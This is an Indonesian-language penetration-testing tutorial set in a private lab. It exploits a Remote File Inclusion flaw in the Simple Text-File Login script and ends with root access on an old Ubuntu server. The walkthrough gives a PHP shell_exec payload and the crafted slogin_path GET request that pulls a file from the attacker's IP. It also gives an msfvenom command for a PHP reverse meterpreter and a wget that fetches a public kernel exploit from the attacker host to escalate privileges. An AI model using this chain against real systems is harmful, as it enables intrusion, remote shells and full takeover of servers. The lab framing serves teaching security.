Anda di halaman 1dari 20

A.

Latar Belakang:
Remote File Inclusion (RFI) adalah kerentanan pada aplikasi dimana attacker dapat menginstruksikan
aplikasi agar menyertakan file yang tersimpan di luar sistem untuk menjadi bagian dari proses eksekusi.
Dalam kata lain, attacker menyiapkan program tambahan yang tersimpan diluar sistem target dan
kemudian menginstruksikan aplikasi target untuk mengeksekusi program tersebut. Berikut ini ilustrasi
exploitasi kerentanan RFI

Sama seperti kerentanan Local File Inclusion (LFI), RFI ini muncul karena fungsi include pada aplikasi
dapat dimanipulasi oleh pengguna/users melalui Input. Hal ini sebenarnya tidak akan menimbulkan
permasalahan apabila input yang berasal dari pengguna dapat difilter atau disanitasi sebelum fungsi
include memprosesnya.

File Inclusion juga dapat terjadi pada fungsi aplikasi yang memproses file berdasarkan nama file yang
diberikan oleh pengguna. Hal ini juga biasa disebut dengan kerentanan File path traversal. Input yang
diberikan oleh pengguna bisa menggunakan link pada url atau melalui input box.
Dalam artikel ini, saya akan membahas proses exploitasi kerentanan RFI pada aplikasi simple text file
login. Aplikasi ini rentan terhadap RFI seperti yang telah dilaporkan dan dijelaskan oleh exploit-db di
http://www.exploit-db.com/exploits/7444/

Setelah mengexploitasi RFI dan mendapatkan akses ke shell atau command-line, kita akan melakukan
eskalasi hak akses dengan cara mengexploitasi kerentanan lain yang ada di Sistem Operasi tersebut.

B. Mempersiapkan Laboratorium:
Sebelum kita membahas bagaimana mendeteksi dan kemudian mengekploitasi RFI, kita akan terlebih
dahulu mempersiapkan system yang akan digunakan untuk percobaan ini. Perlu diketahui bahwa
kombinasi system yang saya jabarkan dalam artikel ini bukanlah kombinasi yang mutlak untuk dapat
mengexploitasi RFI. Teman-teman dapat menggunakan aplikasi, Sistem Operasi dan tools lainnya untuk
mencoba karena secara konsep tidak akan jauh berbeda. Namun demikian, perlu dipastikan aplikasi
tersebut memiliki kerentanan RFI.

Sistem operasi yang akan kita gunakan adalah Ubuntu 10.04.4 karena OS ini rentan terhadap privilege
escalation. Ikuti langkah berikut untuk mempersiapkan

b.1 System Operasi (OS):

1. Download Ubuntu 10.0.4 di http://old-releases.ubuntu.com/releases/10.04.3/ubuntu-10.04.4-


desktop-i386.iso

2. Install Ubuntu di Virtual Machine

3. Install Apache dan PHP dengan mengetik perintah berikut

sudo apt-get install apache2 php5 libapache2-mod-php5

1 sudo apt-get install apache2 php5 libapache2-


mod-php5
4. Ubah parameter allow_url_include = On dan allow_url_fopen = On di file /etc/php5/apache2/php.ini
dengan menggunakan nano text editor. Ketik perintah berikut untuk mengedit file tersebut

sudo nano /etc/php5/apache2/php.ini

1 sudo nano /etc/php5/apache2/php.ini


5. Start apache web server dengan mengetik

sudo service apache2 start

1 sudo service apache2 start


dan kemudian pastikan web server berjalan dengan baik dengan mengakses http://alamat-ip-ubuntu
dari kali linux

b.2 Aplikasi:

1. Download aplikasi Simple Text-File Login script 1.0.6 di


http://www.hotscripts.com/listings/jump/download/36777

2. Buat folder admin di /var/www dan kemudian ganti owner folder tersebut ke akun www-data.

sudo mkdir /var/www/admin sudo chown -R www-data:www-data /var/www/admin

1 sudo mkdir /var/www/admin


2 sudo chown -R www-data:www-data
/var/www/admin
3. Extract aplikasi Simple Text-File Login Script dan kemudian simpan di filder /var/www/admin

4. Test aplikasi dengan mengetik alamat http://alamat-ip-ubuntu/admin di browser

C. Mendeteksi Kerentanan Remote File Inclusion


Terdapat beberapa metode untuk mendeteksi kerentanan Remote File Inclusion (RFI). Namun dari
sekian metode yang saya ketahui, belum ada metode tunggal yang dapat mendeteksi keberadaan
kerentanan ini secara menyeluruh dan akurat. Bagi saya, mencoba memahami alur kerja aplikasi akan
sangat membantu dalam mendeteksi RFI. Misalnya, kita menemukan parameter yang berisi nama file
pada bagian dari POST atau GET request (contoh: dalam message body POST request, terdapat
parameter berikut: result=http://www.suatu-server.com/hitung.php). Namun demikian, hal ini juga
belum tentu bisa diekploitasi.

Disamping itu, perlu diketahui bahwa ketiadaan parameter yang meng-include remote file juga tidak
menjamin aplikasi tersebut bebas dari kerentanan RFI. Terdapat beberapa kasus dimana RFI ditemukan
pada bagian fungsi internal aplikasi sehingga hanya bisa terdeteksi dengan membaca source code nya.

Dalam kesempatan ini, kita akan membahas RFI pada aplikasi simple text-file login script dimana
kerentanan tersebut pertama kali terdeteksi oleh seseorang saat meninjau/review source code aplikasi
tersebut. Temuan ini kemudian dipublikasikan di exploit-db agar dapat diketahui oleh pihak yang
berkepentingan seperti kita.

Berikut ini proses untuk mendeteksi kerentanan RFI pada aplikasi simple text-file login.
i. Mengidentifikasi jenis aplikasi

Hal utama yang harus dilakukan terlebih dahulu adalah mengidentifikasi jenis aplikasi yang menjadi
target. Memiliki Informasi sebanyak mungkin akan meningkatkan peluang kita untuk menemukan
kerentanan atau kelemahan pada aplikasi. Sebagai contoh, setelah mengetahui bahwa target
menggunakan aplikasi Simple text file login, kita kemudian memanfaatkan google untuk mencari
apakah ada publikasi yang menjelaskan tentang kerentanan pada aplikasi tersebut. Alternatif berikutnya
untuk mendeteksi kerentanan adalah dengan melakukan source code review dan tentu ini tidak menjadi
pilihan utama karena proses yang akan menyita banyak waktu.

Berikut ini salah satu cara untuk mengidentifikasi jenis aplikasi:

1. Jalankan burpsuite dari kali linux (mesin attacker). Pastikan proxy option meng-intercept client
request dan server response

2. Buka iceweasel (browser) di kali linux kemudian pastikan proxy setting mengarah ke localhost dengan
port 8080

3. Akses aplikasi melalui iceweasel dengan mengetik alamat IP target http://target-ip/admin dan
pastikan forward seluruh request dan response

4. Setelah itu, masukan username dan password (tidak harus yang valid) untuk melihat request dan
response data

5. Perhatikan hasil yang tampil di burp suite target > site map > index.php >slogin_POST.
6. Lakukan pencarian di google dengan keyword slogin_post_username untuk mengetahui jenis aplikasi
apa yang dijalankan oleh target. Berikut hasil yang diberikan oleh google
7. Bisa diketahui bahwa target menjalankan aplikasi Simple Text-File Login script

ii. Mencari kerentanan pada aplikasi

Langkah berikutnya adalah mencari Informasi tentang ada atau tidaknya kerentanan pada aplikasi
tersebut. Biasanya, kerentanan yang ditemukan pada suatu aplikasi dipublikasikan di Internet melalui
beberapa situs kerentanan seperti exploit-db.com. Untuk itu, kita mencoba mencari keberuntungan
apakah ada yang mempublikasikan kerentanan pada aplikasi Simple Text-File Login script.

Untuk itu, kita akan menggunakan google dengan keyword Simple Text-File Login script exploit.
Berikut hasil menelusuran google
dari hasil diatas, bisa kita simpulkan bahwa aplikasi simple Text-File Login memiliki kerentanan Remote
File Inclusion

iii. Memvalidasi kerentanan

Langkah selanjutnya adalah memvalidasi kerentanan yang dijelaskan oleh situs exploit-db.com. Berikut
ini penjelasan yang ada di exploit-db.com
Dari penjelasan diatas, file yang rentan terhadap RFI adalah slogin_lib.inc.php yang tersimpan di lokasi
root aplikasi yaitu di http://target-ip/admin/. Kemudian, artikel tersebut juga menjelaskan cara
eksploitasinya yaitu dengan menentukan path remote file yang kita inginkan untuk dieksekusi oleh
target ke parameter slogin_path.

Untuk itu, kita akan coba validasi kerentanan ini dengan langkah berikut:

1. Hidupkan service apache2 di kali linux (mesin attacker). Pastikan alamat IP kali linux dapat diakses
oleh target. Sebagai contoh, alamat IP kali linux saya adalah 172.16.192.149
2. Buat file baru bernama coba (tanpa diikuti dengan extention php karena kita ingin isi file tersebut
dieksekusi oleh target dan bukan oleh engine php yang ada di kali linux (mesin attacker). Isi file coba
cukup sederhana yaitu memerintahkan target untuk mengeksekusi perintah uname -a. berikut isi file
coba.

<?php $result = shell_exec('uname -a'); print "<pre>$result</pre>"; ?>

1 <?php
2 $result = shell_exec('uname -a');
3 print "<pre>$result</pre>";
4 ?>

3. Kembali ke window burpsuite di kali linux atau jalankan burpsuite dan kemudian akses kembali
aplikasi apabila burpsuite telah ditutup. Pilih target > sitemap > dibawah admin, klik kanan item /
dan kemudian pilih > send to repeater
4. Klik tab repeater dan kemudian klik go untuk memastikan request dapat diproses oleh aplikasi
dengan memberikan response sesuai dengan yang kita lihat pada browser seperti dibawah ini

5. Setelah itu, edit GET request di repeater sesuai dengan petunjuk exploit yang telah dijelaskan
sebelumnya yaitu dengan memanggil file slogin_lib.inc.php dan kemudian menyisipkan path file yang
kita inginkan untuk dieksekusi oleh target melalui parameter slogin_path. Dalam contoh ini, alamat IP
target adalah 172.16.192.151 sementara alamat IP kali linux (mesin attacker) yang menyimpan file coba
adalah 172.16.192.149. Melalui repeater di kali linux (attacker), berikut ini GET request yang
dimodifikasi:
GET /admin/slogin_lib.inc.php/?slogin_path=http://172.16.192.149/coba%20

Singkatnya, GET request diatasi mencoba mengakses file slogin_lib.inc.php dan kemudian memberikan
input ke parameter slogin_path berupa path file bernama coba yang berada di kali linux
(attacker). %20 diakhir coba adalah karaketer space untuk memastikan nama file yang akan direquest
oleh target tidak ditambahkan dengan nama file yang telah didefinisikan di slogin_lib.inc.php.
Kegunaan %20 dapat kita lihat pada log access apache di kali linux (attacker)

Berikut GET request pada repeater yang telah dimodifikasi

berikut response atau hasil yang diproses oleh aplikasi

BOOMMM!!!!!,,,,aplikasi mengeksekusi perintah attacker yaitu menampilkan Informasi tentang versi


Sistem Operasi yang digunakan oleh aplikasi. Berikut ini tampilan apabila kita mengirim request ke
aplikasi melalui browser
Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting
video yang tersedia di menu youtube.

D. Mengeksploitasi Kerentanan Remote File Inclusion


Sekarang kita memasuki bagian yang paling menyenangkan yaitu mengambil-alih target sistem secara
penuh. Seperti yang kita ketahui dari kegiatan sebelumnya, target akan mengeksekusi perintah yang ada
di dalam file yang tersimpan di sistem kita (attacker).

Dengan demikian, kita akan memanfaatkan ini untuk mendapatkan shell (command-prompt) dari target
dengan cara menempatkan program shell di kali linux kita (attacker) dan kemudian menginstruksikan
aplikasi target untuk mengunduh dan kemudian mengeksekusinya.

Dalam kesempatan ini, kita akan menggunakan program reverse meterpreter yaitu program
shell/meterpreter yang diinisiasi atau yang dimulai oleh target. Program reverse meterpreter tentunya
harus dibuat menggunakan PHP karena aplikasi target hanya akan memproses file include yang
menggunakan bahasa yang sama yaitu PHP.

Berikut ini proses eksploitasi RFI


i. Membuat reverse meterpreter & menyimpannya di Kali Linux

Kali ini, kita akan membuat program reverse meterpreter di Kali Linux agar tersedia untuk diunduh dan
dieksekusi oleh target. Karena kita telah mengetahui bahwa target menjalankan aplikasi berbasis PHP,
maka program reverse meterpreter akan dibuat dalam bahasa PHP. Apabila tidak, aplikasi target tidak
akan bisa mengeksekusi perintah yang tersimpan dalam file yang diunduhnya dari mesin attacker.

Berikut ini cara membuat reverse meterpreter

1. Navigasi ke folder /var/www

2. Karena yang ingin kita buat adalah reverse meterpreter, maka kita membutuhkan alamat IP kali linux
(attacker) yang akan dituju oleh target. Dalam hal ini, alamat kali linux saya adalah 172.16.192.149. Ketik
perintah berikut untuk membuat reverse meterpreter

msfvenom -p php/meterpreter/reverse_tcp lhost=172.16.192.149 lport=3333 -o myrevmeterpreter

1 msfvenom -p php/meterpreter/reverse_tcp
lhost=172.16.192.149 lport=3333 -o
myrevmeterpreter
3. Ketik ls -l untuk memastikan file myrevmeterpreter telah berhasil dibuat

4. Pastikan kembali bahwa apache2 service telah di start dengan mengetik service apache2 start

ii. Menghidupkan listener untuk meterpreter di kali linux

Langkah selanjutnya adalah membuat listener agar koneks reverse meterpreter yang akan dijalankan
oleh target dapat diterima. Untuk itu kita akan menggunakan multi handler metasploit.

Lakukan langkah berikut untuk mengaktifkan multi handler di metasploit

1. jalankan service postgresql dan metasploit

service postgresql start service metasploit start

1 service postgresql start


2 service metasploit start
2. Buka metasploit dengan perintah msfconsole

3. Setelah mendapatkan metasploit command, ketik perintah berikut ini untuk menjalankan listener
meterpreter
4. Periksa kembali konfigurasi diatas dengan show options

5. Jalankan multi handler dengan mengetik exploit

iii. Menginstruksikan aplikasi target untuk mengeksekusi program reverse meterpreter yang ada di
Kali Linux
Tiba saatnya kita menginstruksikan target untuk mengeksekusi reverse meterpreter dengan
mengeksploitasi kerentanan RFI. Lakukan langkah berikut

1. Kembali ke burpsuite > repeater dan kemudian ubah GET request sebelumnya agar target aplikasi
meng-include file revmeterpreter

2. Klik go untuk meneruskan GET reqeuest

3. Boom !!!!!! lihat window metasploit, koneksi reverse meterpreter dari target telah terbentuk. Ketik
shell untuk mengeksekusi shell dan berinteraksi dengan Sistem Operasi yang digunakan oleh Target.

Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting
video yang tersedia di menu youtube.
E. Eskalasi Hak Akses:
Shell target yang kita dapatkan diatas masih berjalan dalam konteks akun biasa yaitu akun www-data.
Akun ini digunakan oleh target untuk menjalankan layanan (service) apache. kalau kita perhatikan, akun
ini bukan merupakan bagian dari group root sehingga membatasi kita untuk melakukan segala hal
terhadap target.

Tentu, hal yang lebih menarik adalah mendapatkan hak akses setinggi root atau superuser sehingga kita
benar-benar bisa mengontrol target secara penuh. Untuk itu, kita akan mengexploitasi target lebih jauh
agar bisa memberikan kita hak akses ini.

Sebelum kita mulai mengexploitasi, perhatikan versi linux kernel yang digunakan oleh target yaitu linux
kernel 2.6.32-24. Informasi ini kita dapatkan saat memvalidasi kerentanan RFI.

Hasil penelusuran google, linux kernel yang lebih rendah dari 2.6.37 memiliki kerentanan yang dapat
dimanfaatkan untuk meningkatkan hak akses.
Informasi lengkap mengenai peningkatan hak akses ini dapat dilihat di http://www.exploit-
db.com/exploits/15704/

Sebelum kita mulai, unduh exploit terlebih dahulu dari link diatas dan kemudian ikuti proses berikut:
i. Upload Exploit

Setelah exploit kita unduh dari exploit-db.com, langkah selanjutnya adalah mengupload exploit tersebut
ke mesin target. Salah satu cara yang bisa digunakan adalah memanfaatkan akses shell di mesin target
yang telah kita dapatkan sebelumnya. Dari shell tersebut, kita akan menjalankan wget untuk
mengambil file exploit dari mesin kali linux (attacker). Ikuti langkah berikut:

1. Simpan file exploit yang diunduh dari exploit-db.com ke folder /var/www di kali linux (mesin attacker)

2. Melalui shell target yang telah kita dapatkan, pindah ke direktory /tmp dan kemudian eksekusi wget
ke kali linux (mesin attacker) untuk mengunduh file exploit yang dibutuhkan.

cd /tmp /usr/bin/wget http://172.16.192.149/15704.c -O 15704.c

1 cd /tmp
2 /usr/bin/wget http://172.16.192.149/15704.c -
O 15704.c

3. Lihat akun dan group yang didapatkan dengan mengetik id

4. Compile exploit dengan terlebih dahulu mencari gcc


5. Jalankan exploit kemudian ketik kembali id untuk melihat akun dan group yang didapat.
Boommm!!!!!! sekarang kita mendapatkan root

Berikut video yang mengilustrasikan langkah diatas. Agar text di video terbaca, gunakan HD di setting
video yang tersedia di menu youtube.

F. Selanjutnya:
Dalam ilustrasi diatas, kita menggunakan exploit yang ditemukan oleh Nelson Elhage untuk
meningkatkan hak akses ke root. Namun demikian, terdapat beberapa local exploit yang juga dapat
dimanfaatkan untuk mengeskalasi hak akses ini seperti yang ditemukan oleh Tommi Rantala. Berikut link
nya http://www.securityfocus.com/bid/59846/info . Saya belum pernah mencoba exploit ini namun
saya kira ini akan berjalan dengan baik

Selamat mencoba dan semoga artikel ini bermanfaat.

Anda mungkin juga menyukai